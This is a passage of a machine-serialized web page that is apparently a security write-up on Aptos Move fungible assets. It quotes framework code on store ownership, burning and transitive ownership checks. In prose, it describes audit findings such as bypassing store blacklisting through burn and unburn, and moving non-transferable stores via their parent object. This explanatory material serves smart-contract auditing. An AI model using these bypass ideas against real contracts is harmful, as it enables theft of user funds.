[...]\n}\n",[61666],{"type":20,"tag":119,"props":61667,"children":61668},{"__ignoreMap":7},[61669,61724,61776,61791],{"type":20,"tag":315,"props":61670,"children":61671},{"class":317,"line":318},[61672,61676,61680,61684,61688,61692,61696,61700,61704,61708,61712,61716,61720],{"type":20,"tag":315,"props":61673,"children":61674},{"style":635},[61675],{"type":26,"value":59929},{"type":20,"tag":315,"props":61677,"children":61678},{"style":635},[61679],{"type":26,"value":4601},{"type":20,"tag":315,"props":61681,"children":61682},{"style":345},[61683],{"type":26,"value":61525},{"type":20,"tag":315,"props":61685,"children":61686},{"style":328},[61687],{"type":26,"value":1049},{"type":20,"tag":315,"props":61689,"children":61690},{"style":635},[61691],{"type":26,"value":61534},{"type":20,"tag":315,"props":61693,"children":61694},{"style":334},[61695],{"type":26,"value":2884},{"type":20,"tag":315,"props":61697,"children":61698},{"style":334},[61699],{"type":26,"value":5536},{"type":20,"tag":315,"props":61701,"children":61702},{"style":322},[61703],{"type":26,"value":61547},{"type":20,"tag":315,"props":61705,"children":61706},{"style":328},[61707],{"type":26,"value":1468},{"type":20,"tag":315,"props":61709,"children":61710},{"style":635},[61711],{"type":26,"value":4738},{"type":20,"tag":315,"props":61713,"children":61714},{"style":328},[61715],{"type":26,"value":21437},{"type":20,"tag":315,"props":61717,"children":61718},{"style":334},[61719],{"type":26,"value":7990},{"type":20,"tag":315,"props":61721,"children":61722},{"style":328},[61723],{"type":26,"value":60020},{"type":20,"tag":315,"props":61725,"children":61726},{"class":317,"line":356},[61727,61731,61735,61739,61743,61747,61751,61756,61760,61764,61768,61772],{"type":20,"tag":315,"props":61728,"children":61729},{"style":541},[61730],{"type":26,"value":1380},{"type":20,"tag":315,"props":61732,"children":61733},{"style":635},[61734],{"type":26,"value":4224},{"type":20,"tag":315,"props":61736,"children":61737},{"style":334},[61738],{"type":26,"value":1395},{"type":20,"tag":315,"props":61740,"children":61741},{"style":334},[61742],{"type":26,"value":5536},{"type":20,"tag":315,"props":61744,"children":61745},{"style":328},[61746],{"type":26,"value":61164},{"type":20,"tag":315,"props":61748,"children":61749},{"style":334},[61750],{"type":26,"value":1861},{"type":20,"tag":315,"props":61752,"children":61753},{"style":635},[61754],{"type":26,"value":61755},"object_from_delete_ref",{"type":20,"tag":315,"props":61757,"children":61758},{"style":328},[61759],{"type":26,"value":4199},{"type":20,"tag":315,"props":61761,"children":61762},{"style":322},[61763],{"type":26,"value":60330},{"type":20,"tag":315,"props":61765,"children":61766},{"style":328},[61767],{"type":26,"value":6006},{"type":20,"tag":315,"props":61769,"children":61770},{"style":635},[61771],{"type":26,"value":61534},{"type":20,"tag":315,"props":61773,"children":61774},{"style":328},[61775],{"type":26,"value":2214},{"type":20,"tag":315,"props":61777,"children":61778},{"class":317,"line":365},[61779,61783,61787],{"type":20,"tag":315,"props":61780,"children":61781},{"style":328},[61782],{"type":26,"value":60972},{"type":20,"tag":315,"props":61784,"children":61785},{"style":334},[61786],{"type":26,"value":7990},{"type":20,"tag":315,"props":61788,"children":61789},{"style":328},[61790],{"type":26,"value":10173},{"type":20,"tag":315,"props":61792,"children":61793},{"class":317,"line":374},[61794],{"type":20,"tag":315,"props":61795,"children":61796},{"style":328},[61797],{"type":26,"value":577},{"type":20,"tag":29,"props":61799,"children":61800},{},[61801,61803,61808,61810,61816,61818,61823],{"type":26,"value":61802},"In addition, such \"deleted\" ",{"type":20,"tag":119,"props":61804,"children":61806},{"className":61805},[],[61807],{"type":26,"value":60330},{"type":26,"value":61809}," objects remain at least partially operable. For instance, ",{"type":20,"tag":119,"props":61811,"children":61813},{"className":61812},[],[61814],{"type":26,"value":61815},"fungible_asset::deposit",{"type":26,"value":61817}," does not check the ",{"type":20,"tag":119,"props":61819,"children":61821},{"className":61820},[],[61822],{"type":26,"value":47102},{"type":26,"value":61824}," existence.",{"type":20,"tag":219,"props":61826,"children":61828},{"id":61827},"ownership",[61829],{"type":26,"value":61830},"Ownership",{"type":20,"tag":29,"props":61832,"children":61833},{},[61834,61836,61841,61843,61849,61851,61856],{"type":26,"value":61835},"Each object has an owner. Fungible assets rely on the ",{"type":20,"tag":119,"props":61837,"children":61839},{"className":61838},[],[61840],{"type":26,"value":47102},{"type":26,"value":61842}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":20,"tag":119,"props":61844,"children":61846},{"className":61845},[],[61847],{"type":26,"value":61848},"object::owns",{"type":26,"value":61850}," to confirm ownership of the ",{"type":20,"tag":119,"props":61852,"children":61854},{"className":61853},[],[61855],{"type":26,"value":60330},{"type":26,"value":48428},{"type":20,"tag":305,"props":61858,"children":61860},{"className":1360,"code":61859,"language":1359,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[61861],{"type":20,"tag":119,"props":61862,"children":61863},{"__ignoreMap":7},[61864,61912,61936,61963,61983,62011,62079,62094],{"type":20,"tag":315,"props":61865,"children":61866},{"class":317,"line":318},[61867,61871,61875,61879,61883,61887,61892,61896,61900,61904,61908],{"type":20,"tag":315,"props":61868,"children":61869},{"style":345},[61870],{"type":26,"value":59929},{"type":20,"tag":315,"props":61872,"children":61873},{"style":328},[61874],{"type":26,"value":1049},{"type":20,"tag":315,"props":61876,"children":61877},{"style":635},[61878],{"type":26,"value":5493},{"type":20,"tag":315,"props":61880,"children":61881},{"style":328},[61882],{"type":26,"value":1468},{"type":20,"tag":315,"props":61884,"children":61885},{"style":635},[61886],{"type":26,"value":5502},{"type":20,"tag":315,"props":61888,"children":61889},{"style":635},[61890],{"type":26,"value":61891}," withdraw_sanity_check",{"type":20,"tag":315,"props":61893,"children":61894},{"style":328},[61895],{"type":26,"value":4199},{"type":20,"tag":315,"props":61897,"children":61898},{"style":322},[61899],{"type":26,"value":4381},{"type":20,"tag":315,"props":61901,"children":61902},{"style":334},[61903],{"type":26,"value":2884},{"type":20,"tag":315,"props":61905,"children":61906},{"style":635},[61907],{"type":26,"value":4325},{"type":20,"tag":315,"props":61909,"children":61910},{"style":328},[61911],{"type":26,"value":4983},{"type":20,"tag":315,"props":61913,"children":61914},{"class":317,"line":356},[61915,61920,61924,61928,61932],{"type":20,"tag":315,"props":61916,"children":61917},{"style":635},[61918],{"type":26,"value":61919}," owner",{"type":20,"tag":315,"props":61921,"children":61922},{"style":334},[61923],{"type":26,"value":2884},{"type":20,"tag":315,"props":61925,"children":61926},{"style":334},[61927],{"type":26,"value":5536},{"type":20,"tag":315,"props":61929,"children":61930},{"style":635},[61931],{"type":26,"value":5541},{"type":20,"tag":315,"props":61933,"children":61934},{"style":328},[61935],{"type":26,"value":643},{"type":20,"tag":315,"props":61937,"children":61938},{"class":317,"line":365},[61939,61943,61947,61951,61955,61959],{"type":20,"tag":315,"props":61940,"children":61941},{"style":635},[61942],{"type":26,"value":27829},{"type":20,"tag":315,"props":61944,"children":61945},{"style":334},[61946],{"type":26,"value":2884},{"type":20,"tag":315,"props":61948,"children":61949},{"style":322},[61950],{"type":26,"value":59815},{"type":20,"tag":315,"props":61952,"children":61953},{"style":328},[61954],{"type":26,"value":4199},{"type":20,"tag":315,"props":61956,"children":61957},{"style":322},[61958],{"type":26,"value":4381},{"type":20,"tag":315,"props":61960,"children":61961},{"style":328},[61962],{"type":26,"value":4532},{"type":20,"tag":315,"props":61964,"children":61965},{"class":317,"line":374},[61966,61971,61975,61979],{"type":20,"tag":315,"props":61967,"children":61968},{"style":635},[61969],{"type":26,"value":61970}," abort_on_dispatch",{"type":20,"tag":315,"props":61972,"children":61973},{"style":334},[61974],{"type":26,"value":2884},{"type":20,"tag":315,"props":61976,"children":61977},{"style":322},[61978],{"type":26,"value":10451},{"type":20,"tag":315,"props":61980,"children":61981},{"style":328},[61982],{"type":26,"value":643},{"type":20,"tag":315,"props":61984,"children":61985},{"class":317,"line":383},[61986,61990,61994,61998,62002,62007],{"type":20,"tag":315,"props":61987,"children":61988},{"style":328},[61989],{"type":26,"value":1468},{"type":20,"tag":315,"props":61991,"children":61992},{"style":635},[61993],{"type":26,"value":4738},{"type":20,"tag":315,"props":61995,"children":61996},{"style":322},[61997],{"type":26,"value":60350},{"type":20,"tag":315,"props":61999,"children":62000},{"style":328},[62001],{"type":26,"value":44},{"type":20,"tag":315,"props":62003,"children":62004},{"style":322},[62005],{"type":26,"value":62006},"DispatchFunctionStore",{"type":20,"tag":315,"props":62008,"children":62009},{"style":328},[62010],{"type":26,"value":1092},{"type":20,"tag":315,"props":62012,"children":62013},{"class":317,"line":407},[62014,62018,62023,62027,62032,62036,62040,62044,62048,62052,62056,62060,62065,62069,62074],{"type":20,"tag":315,"props":62015,"children":62016},{"style":345},[62017],{"type":26,"value":60598},{"type":20,"tag":315,"props":62019,"children":62020},{"style":328},[62021],{"type":26,"value":62022},"(object",{"type":20,"tag":315,"props":62024,"children":62025},{"style":334},[62026],{"type":26,"value":1861},{"type":20,"tag":315,"props":62028,"children":62029},{"style":345},[62030],{"type":26,"value":62031},"owns",{"type":20,"tag":315,"props":62033,"children":62034},{"style":328},[62035],{"type":26,"value":1049},{"type":20,"tag":315,"props":62037,"children":62038},{"style":635},[62039],{"type":26,"value":4334},{"type":20,"tag":315,"props":62041,"children":62042},{"style":328},[62043],{"type":26,"value":11336},{"type":20,"tag":315,"props":62045,"children":62046},{"style":334},[62047],{"type":26,"value":1861},{"type":20,"tag":315,"props":62049,"children":62050},{"style":345},[62051],{"type":26,"value":5604},{"type":20,"tag":315,"props":62053,"children":62054},{"style":328},[62055],{"type":26,"value":1049},{"type":20,"tag":315,"props":62057,"children":62058},{"style":635},[62059],{"type":26,"value":14010},{"type":20,"tag":315,"props":62061,"children":62062},{"style":328},[62063],{"type":26,"value":62064},")), error",{"type":20,"tag":315,"props":62066,"children":62067},{"style":334},[62068],{"type":26,"value":1861},{"type":20,"tag":315,"props":62070,"children":62071},{"style":345},[62072],{"type":26,"value":62073},"permission_denied",{"type":20,"tag":315,"props":62075,"children":62076},{"style":328},[62077],{"type":26,"value":62078},"(ENOT_STORE_OWNER));\n",{"type":20,"tag":315,"props":62080,"children":62081},{"class":317,"line":421},[62082,62086,62090],{"type":20,"tag":315,"props":62083,"children":62084},{"style":328},[62085],{"type":26,"value":60972},{"type":20,"tag":315,"props":62087,"children":62088},{"style":334},[62089],{"type":26,"value":7990},{"type":20,"tag":315,"props":62091,"children":62092},{"style":328},[62093],{"type":26,"value":10173},{"type":20,"tag":315,"props":62095,"children":62096},{"class":317,"line":430},[62097],{"type":20,"tag":315,"props":62098,"children":62099},{"style":328},[62100],{"type":26,"value":577},{"type":20,"tag":29,"props":62102,"children":62103},{},[62104,62106,62111,62113,62119,62121,62127],{"type":26,"value":62105},"The thing to note is that defining ownership with ",{"type":20,"tag":119,"props":62107,"children":62109},{"className":62108},[],[62110],{"type":26,"value":61848},{"type":26,"value":62112}," can be tricky. The ",{"type":20,"tag":119,"props":62114,"children":62116},{"className":62115},[],[62117],{"type":26,"value":62118},"burn",{"type":26,"value":62120}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":20,"tag":119,"props":62122,"children":62124},{"className":62123},[],[62125],{"type":26,"value":62126},"BURN_ADDRESS",{"type":26,"value":62128}," while bypassing transfer restrictions:",{"type":20,"tag":305,"props":62130,"children":62132},{"className":1360,"code":62131,"language":1359,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[62133],{"type":20,"tag":119,"props":62134,"children":62135},{"__ignoreMap":7},[62136,62233,62274,62324,62353,62403,62424],{"type":20,"tag":315,"props":62137,"children":62138},{"class":317,"line":318},[62139,62143,62147,62151,62156,62160,62164,62168,62172,62176,62180,62184,62188,62192,62196,62200,62204,62208,62212,62216,62220,62224,62229],{"type":20,"tag":315,"props":62140,"children":62141},{"style":635},[62142],{"type":26,"value":59929},{"type":20,"tag":315,"props":62144,"children":62145},{"style":635},[62146],{"type":26,"value":60896},{"type":20,"tag":315,"props":62148,"children":62149},{"style":635},[62150],{"type":26,"value":4601},{"type":20,"tag":315,"props":62152,"children":62153},{"style":635},[62154],{"type":26,"value":62155}," burn",{"type":20,"tag":315,"props":62157,"children":62158},{"style":328},[62159],{"type":26,"value":4199},{"type":20,"tag":315,"props":62161,"children":62162},{"style":322},[62163],{"type":26,"value":4381},{"type":20,"tag":315,"props":62165,"children":62166},{"style":334},[62167],{"type":26,"value":2884},{"type":20,"tag":315,"props":62169,"children":62170},{"style":635},[62171],{"type":26,"value":4325},{"type":20,"tag":315,"props":62173,"children":62174},{"style":328},[62175],{"type":26,"value":6006},{"type":20,"tag":315,"props":62177,"children":62178},{"style":635},[62179],{"type":26,"value":14010},{"type":20,"tag":315,"props":62181,"children":62182},{"style":334},[62183],{"type":26,"value":2884},{"type":20,"tag":315,"props":62185,"children":62186},{"style":334},[62187],{"type":26,"value":5536},{"type":20,"tag":315,"props":62189,"children":62190},{"style":635},[62191],{"type":26,"value":5541},{"type":20,"tag":315,"props":62193,"children":62194},{"style":328},[62195],{"type":26,"value":44},{"type":20,"tag":315,"props":62197,"children":62198},{"style":635},[62199],{"type":26,"value":61164},{"type":20,"tag":315,"props":62201,"children":62202},{"style":334},[62203],{"type":26,"value":2884},{"type":20,"tag":315,"props":62205,"children":62206},{"style":322},[62207],{"type":26,"value":59815},{"type":20,"tag":315,"props":62209,"children":62210},{"style":328},[62211],{"type":26,"value":4199},{"type":20,"tag":315,"props":62213,"children":62214},{"style":322},[62215],{"type":26,"value":4381},{"type":20,"tag":315,"props":62217,"children":62218},{"style":328},[62219],{"type":26,"value":18850},{"type":20,"tag":315,"props":62221,"children":62222},{"style":635},[62223],{"type":26,"value":4738},{"type":20,"tag":315,"props":62225,"children":62226},{"style":322},[62227],{"type":26,"value":62228}," ObjectCore",{"type":20,"tag":315,"props":62230,"children":62231},{"style":328},[62232],{"type":26,"value":1092},{"type":20,"tag":315,"props":62234,"children":62235},{"class":317,"line":356},[62236,62240,62245,62249,62254,62258,62262,62266,62270],{"type":20,"tag":315,"props":62237,"children":62238},{"style":541},[62239],{"type":26,"value":1380},{"type":20,"tag":315,"props":62241,"children":62242},{"style":635},[62243],{"type":26,"value":62244}," original_owner",{"type":20,"tag":315,"props":62246,"children":62247},{"style":334},[62248],{"type":26,"value":1395},{"type":20,"tag":315,"props":62250,"children":62251},{"style":328},[62252],{"type":26,"value":62253}," signer",{"type":20,"tag":315,"props":62255,"children":62256},{"style":334},[62257],{"type":26,"value":1861},{"type":20,"tag":315,"props":62259,"children":62260},{"style":345},[62261],{"type":26,"value":5604},{"type":20,"tag":315,"props":62263,"children":62264},{"style":328},[62265],{"type":26,"value":1049},{"type":20,"tag":315,"props":62267,"children":62268},{"style":635},[62269],{"type":26,"value":14010},{"type":20,"tag":315,"props":62271,"children":62272},{"style":328},[62273],{"type":26,"value":2214},{"type":20,"tag":315,"props":62275,"children":62276},{"class":317,"line":365},[62277,62281,62285,62290,62294,62298,62302,62307,62311,62315,62319],{"type":20,"tag":315,"props":62278,"children":62279},{"style":345},[62280],{"type":26,"value":60598},{"type":20,"tag":315,"props":62282,"children":62283},{"style":328},[62284],{"type":26,"value":1049},{"type":20,"tag":315,"props":62286,"children":62287},{"style":345},[62288],{"type":26,"value":62289},"is_owner",{"type":20,"tag":315,"props":62291,"children":62292},{"style":328},[62293],{"type":26,"value":1049},{"type":20,"tag":315,"props":62295,"children":62296},{"style":635},[62297],{"type":26,"value":61164},{"type":20,"tag":315,"props":62299,"children":62300},{"style":328},[62301],{"type":26,"value":44},{"type":20,"tag":315,"props":62303,"children":62304},{"style":635},[62305],{"type":26,"value":62306},"original_owner",{"type":20,"tag":315,"props":62308,"children":62309},{"style":328},[62310],{"type":26,"value":61187},{"type":20,"tag":315,"props":62312,"children":62313},{"style":334},[62314],{"type":26,"value":1861},{"type":20,"tag":315,"props":62316,"children":62317},{"style":345},[62318],{"type":26,"value":62073},{"type":20,"tag":315,"props":62320,"children":62321},{"style":328},[62322],{"type":26,"value":62323},"(ENOT_OBJECT_OWNER));\n",{"type":20,"tag":315,"props":62325,"children":62326},{"class":317,"line":374},[62327,62331,62336,62340,62344,62348],{"type":20,"tag":315,"props":62328,"children":62329},{"style":541},[62330],{"type":26,"value":1380},{"type":20,"tag":315,"props":62332,"children":62333},{"style":635},[62334],{"type":26,"value":62335}," object_addr",{"type":20,"tag":315,"props":62337,"children":62338},{"style":334},[62339],{"type":26,"value":1395},{"type":20,"tag":315,"props":62341,"children":62342},{"style":635},[62343],{"type":26,"value":60748},{"type":20,"tag":315,"props":62345,"children":62346},{"style":334},[62347],{"type":26,"value":61},{"type":20,"tag":315,"props":62349,"children":62350},{"style":328},[62351],{"type":26,"value":62352},"inner;\n",{"type":20,"tag":315,"props":62354,"children":62355},{"class":317,"line":383},[62356,62360,62364,62368,62373,62377,62382,62386,62391,62395,62399],{"type":20,"tag":315,"props":62357,"children":62358},{"style":345},[62359],{"type":26,"value":61351},{"type":20,"tag":315,"props":62361,"children":62362},{"style":328},[62363],{"type":26,"value":1049},{"type":20,"tag":315,"props":62365,"children":62366},{"style":334},[62367],{"type":26,"value":1490},{"type":20,"tag":315,"props":62369,"children":62370},{"style":345},[62371],{"type":26,"value":62372},"create_signer",{"type":20,"tag":315,"props":62374,"children":62375},{"style":328},[62376],{"type":26,"value":1049},{"type":20,"tag":315,"props":62378,"children":62379},{"style":635},[62380],{"type":26,"value":62381},"object_addr",{"type":20,"tag":315,"props":62383,"children":62384},{"style":328},[62385],{"type":26,"value":13578},{"type":20,"tag":315,"props":62387,"children":62388},{"style":322},[62389],{"type":26,"value":62390},"TombStone",{"type":20,"tag":315,"props":62392,"children":62393},{"style":328},[62394],{"type":26,"value":7985},{"type":20,"tag":315,"props":62396,"children":62397},{"style":635},[62398],{"type":26,"value":62306},{"type":20,"tag":315,"props":62400,"children":62401},{"style":328},[62402],{"type":26,"value":37251},{"type":20,"tag":315,"props":62404,"children":62405},{"class":317,"line":407},[62406,62411,62415,62419],{"type":20,"tag":315,"props":62407,"children":62408},{"style":345},[62409],{"type":26,"value":62410}," transfer_raw_inner",{"type":20,"tag":315,"props":62412,"children":62413},{"style":328},[62414],{"type":26,"value":1049},{"type":20,"tag":315,"props":62416,"children":62417},{"style":635},[62418],{"type":26,"value":62381},{"type":20,"tag":315,"props":62420,"children":62421},{"style":328},[62422],{"type":26,"value":62423},", BURN_ADDRESS);\n",{"type":20,"tag":315,"props":62425,"children":62426},{"class":317,"line":421},[62427],{"type":20,"tag":315,"props":62428,"children":62429},{"style":328},[62430],{"type":26,"value":577},{"type":20,"tag":29,"props":62432,"children":62433},{},[62434,62440,62442,62447,62448,62455,62457,62462],{"type":20,"tag":119,"props":62435,"children":62437},{"className":62436},[],[62438],{"type":26,"value":62439},"unburn",{"type":26,"value":62441}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":20,"tag":119,"props":62443,"children":62445},{"className":62444},[],[62446],{"type":26,"value":62126},{"type":26,"value":16935},{"type":20,"tag":35,"props":62449,"children":62452},{"href":62450,"rel":62451},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[39],[62453],{"type":26,"value":62454},"AIP-99",{"type":26,"value":62456}," is a proposal to roll back the ",{"type":20,"tag":119,"props":62458,"children":62460},{"className":62459},[],[62461],{"type":26,"value":62118},{"type":26,"value":62463}," feature, but previously burned objects will remain restorable.",{"type":20,"tag":1312,"props":62465,"children":62466},{},[62467],{"type":20,"tag":29,"props":62468,"children":62469},{},[62470,62472,62476],{"type":26,"value":62471},"This ",{"type":20,"tag":315,"props":62473,"children":62474},{},[62475],{"type":26,"value":62454},{"type":26,"value":62477}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":20,"tag":29,"props":62479,"children":62480},{},[62481,62483,62489,62491,62496,62498,62503],{"type":26,"value":62482},"Another important thing is that ",{"type":20,"tag":119,"props":62484,"children":62486},{"className":62485},[],[62487],{"type":26,"value":62488},"fungible_asset::set_untransferable",{"type":26,"value":62490}," can be used to make all new ",{"type":20,"tag":119,"props":62492,"children":62494},{"className":62493},[],[62495],{"type":26,"value":60834},{"type":26,"value":62497}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":20,"tag":119,"props":62499,"children":62501},{"className":62500},[],[62502],{"type":26,"value":60330},{"type":26,"value":61},{"type":20,"tag":29,"props":62505,"children":62506},{},[62507,62509,62514,62516,62522,62524,62529,62531,62536],{"type":26,"value":62508},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":20,"tag":119,"props":62510,"children":62512},{"className":62511},[],[62513],{"type":26,"value":60330},{"type":26,"value":62515},", X can withdraw from that store. This is because ",{"type":20,"tag":119,"props":62517,"children":62519},{"className":62518},[],[62520],{"type":26,"value":62521},"fungible_asset::withdraw",{"type":26,"value":62523}," uses ",{"type":20,"tag":119,"props":62525,"children":62527},{"className":62526},[],[62528],{"type":26,"value":61848},{"type":26,"value":62530}," to verify both direct and indirect ownership of the ",{"type":20,"tag":119,"props":62532,"children":62534},{"className":62533},[],[62535],{"type":26,"value":60330},{"type":26,"value":48428},{"type":20,"tag":305,"props":62538,"children":62540},{"className":1360,"code":62539,"language":1359,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[62541],{"type":20,"tag":119,"props":62542,"children":62543},{"__ignoreMap":7},[62544,62605,62621,62651,62680,62695,62707,62737,62758,62765,62805,62830,62837],{"type":20,"tag":315,"props":62545,"children":62546},{"class":317,"line":318},[62547,62551,62556,62560,62564,62568,62572,62576,62581,62585,62589,62593,62597,62601],{"type":20,"tag":315,"props":62548,"children":62549},{"style":635},[62550],{"type":26,"value":5502},{"type":20,"tag":315,"props":62552,"children":62553},{"style":345},[62554],{"type":26,"value":62555}," verify_ungated_and_descendant",{"type":20,"tag":315,"props":62557,"children":62558},{"style":328},[62559],{"type":26,"value":1049},{"type":20,"tag":315,"props":62561,"children":62562},{"style":635},[62563],{"type":26,"value":14010},{"type":20,"tag":315,"props":62565,"children":62566},{"style":334},[62567],{"type":26,"value":2884},{"type":20,"tag":315,"props":62569,"children":62570},{"style":635},[62571],{"type":26,"value":4644},{"type":20,"tag":315,"props":62573,"children":62574},{"style":328},[62575],{"type":26,"value":44},{"type":20,"tag":315,"props":62577,"children":62578},{"style":635},[62579],{"type":26,"value":62580},"destination",{"type":20,"tag":315,"props":62582,"children":62583},{"style":334},[62584],{"type":26,"value":2884},{"type":20,"tag":315,"props":62586,"children":62587},{"style":635},[62588],{"type":26,"value":4644},{"type":20,"tag":315,"props":62590,"children":62591},{"style":328},[62592],{"type":26,"value":1468},{"type":20,"tag":315,"props":62594,"children":62595},{"style":635},[62596],{"type":26,"value":4738},{"type":20,"tag":315,"props":62598,"children":62599},{"style":322},[62600],{"type":26,"value":62228},{"type":20,"tag":315,"props":62602,"children":62603},{"style":328},[62604],{"type":26,"value":1092},{"type":20,"tag":315,"props":62606,"children":62607},{"class":317,"line":356},[62608,62613,62617],{"type":20,"tag":315,"props":62609,"children":62610},{"style":328},[62611],{"type":26,"value":62612}," [",{"type":20,"tag":315,"props":62614,"children":62615},{"style":334},[62616],{"type":26,"value":7990},{"type":20,"tag":315,"props":62618,"children":62619},{"style":328},[62620],{"type":26,"value":10173},{"type":20,"tag":315,"props":62622,"children":62623},{"class":317,"line":365},[62624,62629,62633,62637,62642,62647],{"type":20,"tag":315,"props":62625,"children":62626},{"style":525},[62627],{"type":26,"value":62628}," while",{"type":20,"tag":315,"props":62630,"children":62631},{"style":328},[62632],{"type":26,"value":463},{"type":20,"tag":315,"props":62634,"children":62635},{"style":635},[62636],{"type":26,"value":14010},{"type":20,"tag":315,"props":62638,"children":62639},{"style":334},[62640],{"type":26,"value":62641}," !=",{"type":20,"tag":315,"props":62643,"children":62644},{"style":635},[62645],{"type":26,"value":62646}," current_address",{"type":20,"tag":315,"props":62648,"children":62649},{"style":328},[62650],{"type":26,"value":549},{"type":20,"tag":315,"props":62652,"children":62653},{"class":317,"line":374},[62654,62659,62663,62668,62672,62676],{"type":20,"tag":315,"props":62655,"children":62656},{"style":635},[62657],{"type":26,"value":62658}," count",{"type":20,"tag":315,"props":62660,"children":62661},{"style":334},[62662],{"type":26,"value":1395},{"type":20,"tag":315,"props":62664,"children":62665},{"style":635},[62666],{"type":26,"value":62667}," count",{"type":20,"tag":315,"props":62669,"children":62670},{"style":334},[62671],{"type":26,"value":7301},{"type":20,"tag":315,"props":62673,"children":62674},{"style":765},[62675],{"type":26,"value":2916},{"type":20,"tag":315,"props":62677,"children":62678},{"style":328},[62679],{"type":26,"value":1405},{"type":20,"tag":315,"props":62681,"children":62682},{"class":317,"line":383},[62683,62687,62691],{"type":20,"tag":315,"props":62684,"children":62685},{"style":328},[62686],{"type":26,"value":62612},{"type":20,"tag":315,"props":62688,"children":62689},{"style":334},[62690],{"type":26,"value":7990},{"type":20,"tag":315,"props":62692,"children":62693},{"style":328},[62694],{"type":26,"value":10173},{"type":20,"tag":315,"props":62696,"children":62697},{"class":317,"line":407},[62698,62703],{"type":20,"tag":315,"props":62699,"children":62700},{"style":345},[62701],{"type":26,"value":62702}," assert!",{"type":20,"tag":315,"props":62704,"children":62705},{"style":328},[62706],{"type":26,"value":353},{"type":20,"tag":315,"props":62708,"children":62709},{"class":317,"line":421},[62710,62715,62719,62724,62728,62733],{"type":20,"tag":315,"props":62711,"children":62712},{"style":635},[62713],{"type":26,"value":62714}," exists",{"type":20,"tag":315,"props":62716,"children":62717},{"style":328},[62718],{"type":26,"value":4199},{"type":20,"tag":315,"props":62720,"children":62721},{"style":322},[62722],{"type":26,"value":62723},"ObjectCore",{"type":20,"tag":315,"props":62725,"children":62726},{"style":328},[62727],{"type":26,"value":6006},{"type":20,"tag":315,"props":62729,"children":62730},{"style":635},[62731],{"type":26,"value":62732},"current_address",{"type":20,"tag":315,"props":62734,"children":62735},{"style":328},[62736],{"type":26,"value":5131},{"type":20,"tag":315,"props":62738,"children":62739},{"class":317,"line":430},[62740,62745,62749,62753],{"type":20,"tag":315,"props":62741,"children":62742},{"style":328},[62743],{"type":26,"value":62744}," error",{"type":20,"tag":315,"props":62746,"children":62747},{"style":334},[62748],{"type":26,"value":1861},{"type":20,"tag":315,"props":62750,"children":62751},{"style":345},[62752],{"type":26,"value":62073},{"type":20,"tag":315,"props":62754,"children":62755},{"style":328},[62756],{"type":26,"value":62757},"(ENOT_OBJECT_OWNER),\n",{"type":20,"tag":315,"props":62759,"children":62760},{"class":317,"line":453},[62761],{"type":20,"tag":315,"props":62762,"children":62763},{"style":328},[62764],{"type":26,"value":6139},{"type":20,"tag":315,"props":62766,"children":62767},{"class":317,"line":486},[62768,62772,62776,62780,62785,62789,62793,62797,62801],{"type":20,"tag":315,"props":62769,"children":62770},{"style":541},[62771],{"type":26,"value":1445},{"type":20,"tag":315,"props":62773,"children":62774},{"style":635},[62775],{"type":26,"value":60748},{"type":20,"tag":315,"props":62777,"children":62778},{"style":334},[62779],{"type":26,"value":1395},{"type":20,"tag":315,"props":62781,"children":62782},{"style":635},[62783],{"type":26,"value":62784}," borrow_global",{"type":20,"tag":315,"props":62786,"children":62787},{"style":328},[62788],{"type":26,"value":4199},{"type":20,"tag":315,"props":62790,"children":62791},{"style":322},[62792],{"type":26,"value":62723},{"type":20,"tag":315,"props":62794,"children":62795},{"style":328},[62796],{"type":26,"value":6006},{"type":20,"tag":315,"props":62798,"children":62799},{"style":635},[62800],{"type":26,"value":62732},{"type":20,"tag":315,"props":62802,"children":62803},{"style":328},[62804],{"type":26,"value":2214},{"type":20,"tag":315,"props":62806,"children":62807},{"class":317,"line":499},[62808,62813,62817,62821,62825],{"type":20,"tag":315,"props":62809,"children":62810},{"style":635},[62811],{"type":26,"value":62812}," current_address",{"type":20,"tag":315,"props":62814,"children":62815},{"style":334},[62816],{"type":26,"value":1395},{"type":20,"tag":315,"props":62818,"children":62819},{"style":635},[62820],{"type":26,"value":60748},{"type":20,"tag":315,"props":62822,"children":62823},{"style":334},[62824],{"type":26,"value":61},{"type":20,"tag":315,"props":62826,"children":62827},{"style":328},[62828],{"type":26,"value":62829},"owner;\n",{"type":20,"tag":315,"props":62831,"children":62832},{"class":317,"line":513},[62833],{"type":20,"tag":315,"props":62834,"children":62835},{"style":328},[62836],{"type":26,"value":37413},{"type":20,"tag":315,"props":62838,"children":62839},{"class":317,"line":521},[62840],{"type":20,"tag":315,"props":62841,"children":62842},{"style":328},[62843],{"type":26,"value":577},{"type":20,"tag":29,"props":62845,"children":62846},{},[62847,62849,62854],{"type":26,"value":62848},"This could allow for bypassing assumptions about ",{"type":20,"tag":119,"props":62850,"children":62852},{"className":62851},[],[62853],{"type":26,"value":60330},{"type":26,"value":62855}," true ownership and its 